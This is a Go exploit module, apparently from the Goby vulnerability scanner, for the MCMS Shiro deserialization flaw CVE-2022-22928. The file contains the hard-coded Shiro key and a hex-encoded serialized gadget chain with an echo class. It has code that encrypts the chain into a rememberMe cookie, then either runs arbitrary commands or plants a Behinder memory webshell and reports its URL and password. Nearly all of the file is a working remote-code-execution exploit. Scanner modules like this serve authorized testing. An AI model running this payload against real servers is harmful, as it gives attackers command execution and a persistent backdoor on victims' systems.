package exploits

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"io"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "MCMS Shiro Deserialization Vulnerability (CVE-2022-22928)",
    "Description": "<p>Mingfei Mcms is a complete open source J2EE system of Mingfei Technology Co., Ltd.</p><p>Mingfei Mcms V5 2.2 and earlier versions contain a security vulnerability, which stems from the existence of hard coded Shiro key in the software, which allows attackers to exploit the key and execute arbitrary code.</p>",
    "Product": "MCMS",
    "Homepage": "https://gitee.com/mingSoft/MCMS",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "body=\"铭飞Mcms\" || title=\"铭飞Mcms\"",
    "GobyQuery": "body=\"铭飞Mcms\" || title=\"铭飞Mcms\"",
    "Level": "3",
    "Impact": "<p>Attackers can use this vulnerability to arbitrarily execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:</p><p><a href=\"https://gitee.com/mingSoft/MCMS\">https://gitee.com/mingSoft/MCMS</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [
        "https://gitee.com/mingSoft/MCMS/issues/I4Q4RP"
    ],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        "CVE-2022-22928"
    ],
    "CNNVD": [
        "CNNVD-202201-1860"
    ],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "铭飞 MCMS shiro 反序列化漏洞（CVE-2022-22928）",
            "Product": "MCMS",
            "Description": "<p>Mcms is a complete open source J2EE system of Mingfei Technology Co., Ltd.&nbsp;Based on the SpringBoot 2 architecture, the front-end is based on vue and element ui.</p><p>There is a shiro deserialization vulnerability in Mingfei Mcms v5.2.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://gitee.com/mingSoft/MCMS\">https://gitee.com/mingSoft/MCMS</a></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">There is a shiro deserialization vulnerability in Mingfei Mcms v5.2.2 and earlier. The vulnerability originates from the hard coded shiro key in the software. An attacker can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": []
        },
        "EN": {
            "Name": "MCMS Shiro Deserialization Vulnerability (CVE-2022-22928)",
            "Product": "MCMS",
            "Description": "<p><span style=\"color: var(--primaryFont-color);\">Mingfei Mcms is a complete open source J2EE system of Mingfei Technology Co., Ltd.</span><br></p><p>Mingfei Mcms V5 2.2 and earlier versions contain a security vulnerability, which stems from the existence of hard coded Shiro key in the software, which allows attackers to exploit the key and execute arbitrary code.</p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:</p><p><a href=\"https://gitee.com/mingSoft/MCMS\">https://gitee.com/mingSoft/MCMS</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p>Attackers can use this vulnerability to arbitrarily execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": []
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	shiroAesEncryptGCM763457818418 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		nonce := make([]byte, 16)
		io.ReadFull(rand.Reader, nonce)
		aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
		ciphertext := aesgcm.Seal(nil, nonce, payloadByte, nil)
		return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
	}

	sendPayload287635189419814 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM763457818418(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM763457818418(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "4AvVhmFLUs0KTA3Kprsdag=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000124BCAFEBABE0000003101020A001F006E0A0022006F0A007000710A007200730A007200740A001F00750800760A001D00770A007800790A0078007A07007B0A0072007C08007D0A0022007E08007F0800800700810800820800830700840A001D00850800860800870700880B001800890B0018008A08008B08008C07008D0A001D008E07008F0A009000910800920700930800940A0022009508009609002700970700980A0027009908009A0A0070009B0A0022009C08009D08009E08009F0800A00800A10700A20800A30800A40A001D00A50700A60800A70A003100A80700A90800AA0800AB0800AC0A002700AD0800AE0700AF0900B000970A001D00B10A009000790A002700B20A005500B30A00B000B40800B50800B60700B70700B80A0048006E0A004700B90A004800BA0800BB0A001D00BC0800BD0A004800BE0800BF0700C00800C10800C20700C30701010100063C696E69743E010003282956010004436F6465010009746F43537472696E67010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C650100083C636C696E69743E0700C50700C60700C707009307008F0700840700880700C80700A207008D0700A60700C90700CA0700B70700B80700C00700C30C005600570C00CB00CC0700CD0C00CE00CF0700C70C00D000D10C00D200D30C00D400D5010007746872656164730C00D600D70700C60C00D800D90C00DA00DB0100135B4C6A6176612F6C616E672F5468726561643B0C00DC00DD010004657865630C00DE00DF010004687474700100067461726765740100126A6176612F6C616E672F52756E6E61626C6501000674686973243001000768616E646C657201001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0C00E000D5010006676C6F62616C01000A70726F636573736F727301000E6A6176612F7574696C2F4C6973740C00E100E20C00DA00E301000372657101000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00E400E50100106A6176612F6C616E672F4F626A6563740700CA0C00E600E70100096765744865616465720100106A6176612F6C616E672F537472696E6701000C582D546F6B656E2D446174610C00E800E90100097365745374617475730C00EA00EB0100116A6176612F6C616E672F496E74656765720C005600EC0100076F732E6E616D650C00ED00EE0C00EF00DD01000377696E010003636D640100022F630100092F62696E2F626173680100022D6301000F73756E2F6D6973632F556E73616665010009746865556E736166650100156A6176612E6C616E672E554E495850726F636573730C00F000F10100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0100156A6176612E6C616E672E50726F63657373496D706C0C00F200F30100025B4201000F6C61756E63684D656368616E69736D01000A68656C706572706174680100076F7264696E616C0C00F400E201000B666F726B416E64457865630100025B490700F50C00F600E50C00F700F80C0059005A0C00F700F901000B696E697453747265616D7301000E676574496E70757453747265616D0100136A6176612F696F2F496E70757453747265616D01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C00FA00FB0C00FC00FD0100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B0C00FE00FF01000873657442797465730C010000CC010007646F577269746501001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0100136A6176612E6E696F2E42797465427566666572010004777261700100136A6176612F6C616E672F457863657074696F6E0100306F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F546F6D6361744563686F0100156A6176612F6C616E672F54687265616447726F75700100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F5468726561640100135B4C6A6176612F6C616E672F537472696E673B0100035B5B420100186A6176612F6C616E672F7265666C6563742F4D6574686F64010008676574427974657301000428295B420100106A6176612F6C616E672F53797374656D0100096172726179636F707901002A284C6A6176612F6C616E672F4F626A6563743B494C6A6176612F6C616E672F4F626A6563743B4949295601000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B01000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000D6765745375706572636C61737301000473697A650100032829490100152849294C6A6176612F6C616E672F4F626A6563743B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973456D70747901000328295A010004545950450100114C6A6176612F6C616E672F436C6173733B0100042849295601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F77657243617365010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B010010616C6C6F63617465496E7374616E6365010025284C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F4F626A6563743B010008696E7456616C75650100116A6176612F6C616E672F426F6F6C65616E0100116765744465636C617265644D6574686F6401000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B010016285A294C6A6176612F6C616E672F426F6F6C65616E3B01000472656164010005285B4229490100057772697465010007285B424949295601000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B01000B746F42797465417272617901002D6F72672F6170616368652F78616C616E2F7061727365722F6E6F64652F415354537472696E674C69746572616C00210055001F000000000003000100560057000100580000001100010001000000052AB70001B10000000000090059005A000100580000003900050003000000242AC7000501B02AB600024C2BBE0460BC084D2B032C032BBEB800032C2CBE046403542CB000000001005B000000030001060008005C0057000100580000075B000800260000051F033BB80004B600054C2BB600061207B600084D2C04B600092C2BB6000AC0000BC0000B4E03360415042DBEA204EF2D1504323A051905C70006A704DB1905B6000C3A061906120DB6000E9A000D1906120FB6000E9A0006A704BD1905B600061210B600084D2C04B600092C1905B6000A3A071907C100119A0006A7049A1907B600061212B600084D2C04B600092C1907B6000A3A071907B600061213B600084DA700163A081907B60006B60015B600151213B600084D2C04B600092C1907B6000A3A071907B60006B600151216B600084DA700103A081907B600061216B600084D2C04B600092C1907B6000A3A071907B600061217B600084D2C04B600092C1907B6000AC00018C000183A0803360915091908B900190100A203F019081509B9001A02003A0A190AB60006121BB600084D2C04B600092C190AB6000A3A0B190BB60006121C03BD001DB6001E190B03BD001FB600203A0C190BB60006122104BD001D5903122253B6001E190B04BD001F5903122353B60020C000223A061906C6037C1906B600249A0374190CB60006122504BD001D5903B2002653B6001E190C04BD001F5903BB0027591100C8B7002853B6002057013A0D1229B8002AB6002B122CB6000E99001B06BD00225903122D535904122E5359051906533A0DA7001806BD00225903122F53590412305359051906533A0D12311232B600083A0E190E04B60009190E01B6000AC000313A0F013A101233B800343A10A7000C3A111236B800343A10190F1910B600373A11190DBE0464BD00383A121912BE361303361415141912BEA2002319121514190D1514046032B600025315131912151432BE603613841401A7FFDB1513BC083A1403361519123A161916BE361703361815181517A2002719161518323A19191903191415151919BEB8000315151919BE0460603615841801A7FFD804BC0A3A1606BC0A5903024F5904024F5905024F3A1719101239B600083A181910123AB600083A19191804B60009191904B6000919181911B6000A3A1A19191911B6000AC00038C000383A1B191AB60006123B03BD001DB6001E191A03BD001FB60020C00027B6003C361C1910123D100ABD001D5903B20026535904123853590512385359061238535907B20026535908123853591006B2002653591007123853591008123E53591009B2003F53B600403A1D191D04B60041191D1911100ABD001F5903151C0460B80042535904191B535905190D0332B8004353590619145359071912BEB8004253590801535910061916032EB8004253591007015359100819175359100903B8004453B60020571910124504BD001D5903123E53B600403A1E191E04B60041191E191104BD001F5903191753B60020571910124603BD001DB6001E3A1F191F04B60041191F191103BD001FB60020C000473A20BB004859B700493A21033622110400BC083A2319201923B6004A593622029F001019211923031522B6004BA7FFE8124CB800343A241924B6004D3A071924124E06BD001D59031238535904B20026535905B2002653B60040190706BD001F59031921B6004F535904BB00275903B700285359051921B6004FBEB8004253B6002057190CB60006125004BD001D5903192453B6001E190C04BD001F5903190753B6002057A700513A241252B800343A251925125304BD001D5903123853B60040192504BD001F59031921B6004F53B600203A07190CB60006125004BD001D5903192553B6001E190C04BD001F5903190753B6002057043B043B1A990006A70009840901A7FC0A1A990006A7000EA700053A05840401A7FB10A700044BB10009009500A000A3001400C300D100D4001402120219021C0035043104A604A90051002E003905120054003C005705120054005A007A05120054007D050C051200540000051A051D00540001005B000001E2001FFF002700050107005D07005E07000B010000FC001407005FFC001A07006002FC002207006165070062125D0700620CFD002D07006301FF00D0000E0107005D07005E07000B0107005F07006007006107006301070061070061070061070064000014FF002600110107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066000107006708FF001A00150107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E07006507006607006107006801010000FA0027FF001400190107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107006801010000F8002AFF016D00240107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107003E07003E07005E07005E0700610700380107006907006907006907006A07006B0107003800001AF7007707006CFB004DFF0003000D0107005D07005E07000B0107005F070060070061070063010700610700610700610000F80006FA0005FF000600050107005D07005E07000B0100004207006D01FF0005000000004207006D0000007571007E0010000000F9CAFEBABE0000003300110100216F72672F6170616368652F786D6C2F6C616E672F6D6174682F4672616374696F6E0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C6501000D4672616374696F6E2E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008414D544D4241474C707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload287635189419814(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload287635189419814(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload287635189419814(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
